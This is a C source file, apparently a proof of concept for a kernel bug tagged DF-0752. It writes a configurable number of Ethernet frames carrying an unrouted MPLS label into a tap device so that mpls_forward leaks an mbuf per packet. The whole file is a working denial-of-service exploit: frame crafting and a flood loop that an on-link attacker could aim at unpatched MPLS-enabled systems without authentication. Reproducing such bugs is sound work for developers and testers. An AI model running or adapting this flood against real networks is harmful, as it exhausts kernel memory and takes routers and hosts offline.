/*
 * DF-0752 — mbuf leak in mpls_forward() on route-not-found.
 *
 * Injector: writes N Ethernet frames carrying an MPLS label that has NO
 * matching MPLS route into /dev/tap0.  The kernel's ether_input demuxes
 * ethertype 0x8847 to NETISR_MPLS -> mpls_input -> mpls_forward, which on
 * the unpatched kernel `return`s at mpls_input.c:202 without m_freem(m)
 * when rtalloc() finds no route -> one mbuf+cluster leaked per packet.
 *
 * Run as root (needs /dev/tap0).  The root privilege here only simulates an
 * on-link attacker who can put arbitrary Ethernet frames on the wire; on a
 * real MPLS-enabled deployment that requires no auth.
 *
 * Usage: ./mpls_flood [/dev/tapN] [count]
 *   default: /dev/tap0, 20000 frames
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <net/ethernet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

#define MPLS_ETHERTYPE 0x8847

/* Build an MPLS shim: label(20)<<12 | exp(3)<<9 | S(1)<<8 | TTL(8).
 * label=1000 (reserved-but-routable-range; we install NO route so rtalloc
 * fails), S=1 (bottom of stack), TTL=64. */
static uint32_t
mk_shim(uint32_t label)
{
    return htonl((label << 12) | (1u << 8) | 64u);
}

int
main(int argc, char **argv)
{
    const char *dev = argc > 1 ? argv[1] : "/dev/tap0";
    long count   = argc > 2 ? atol(argv[2]) : 20000;
    uint32_t label = argc > 3 ? (uint32_t)strtoul(argv[3], NULL, 0) : 1000;
    int fd, n;
    long i;

    /* Ethernet frame: dst=bcast, src=02:00:DE:AD:BE:EF, ethertype=MPLS,
     * then one MPLS shim, then a small dummy payload so the frame is
     * well-formed (>=64 bytes after padding is the driver's job). */
    unsigned char pkt[64];
    memset(pkt, 0, sizeof(pkt));
    /* dst = broadcast */
    pkt[0]=0xff; pkt[1]=0xff; pkt[2]=0xff; pkt[3]=0xff; pkt[4]=0xff; pkt[5]=0xff;
    /* src = locally administered */
    pkt[6]=0x02; pkt[7]=0x00; pkt[8]=0xDE; pkt[9]=0xAD; pkt[10]=0xBE; pkt[11]=0xEF;
    /* ethertype MPLS */
    pkt[12]=0x88; pkt[13]=0x47;
    /* MPLS shim */
    uint32_t shim = mk_shim(label);
    memcpy(&pkt[14], &shim, 4);
    /* bytes 18..63 = zero payload (ip-in-mpls would follow; the route lookup
     * in mpls_forward uses the MPLS label only, so payload is irrelevant) */

    fd = open(dev, O_RDWR);
    if (fd < 0) { perror(dev); return 1; }

    printf("flooding %ld MPLS frames (label=%u) into %s ...\n",
           count, label, dev);
    for (i = 0; i < count; i++) {
        n = write(fd, pkt, sizeof(pkt));
        if (n < 0) { perror("write"); close(fd); return 1; }
        if (n != (int)sizeof(pkt)) {
            fprintf(stderr, "short write %d at %ld\n", n, i);
        }
    }
    /* give the kernel netisr a moment to drain */
    usleep(500000);
    printf("done: %ld frames written\n", count);
    close(fd);
    return 0;
}
